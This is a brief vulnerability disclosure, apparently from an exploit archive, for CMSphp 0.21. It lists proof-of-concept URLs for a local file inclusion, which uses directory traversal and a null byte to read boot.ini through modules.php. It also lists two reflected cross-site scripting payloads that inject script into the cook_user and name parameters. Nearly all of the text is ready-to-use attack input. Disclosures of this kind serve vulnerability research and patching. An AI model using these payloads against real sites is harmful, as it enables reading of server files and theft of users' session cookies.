######################################
[+] CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
######################################
[+] Download : http://sourceforge.net/projects/cmsphp/
[+] Local File Inclusion
- PoC
http://127.0.0.1/path/modules.php?name=Your_account&mod_file=../../../../../../boot.ini%00
[+] Cross-Site Scripting
- PoC's
http://127.0.0.1/path/index.php?cook_user=<script>alert(document.cookie)</script>
http://127.0.0.1/path/modules.php?name=<script>alert(document.cookie)</script>
######################################
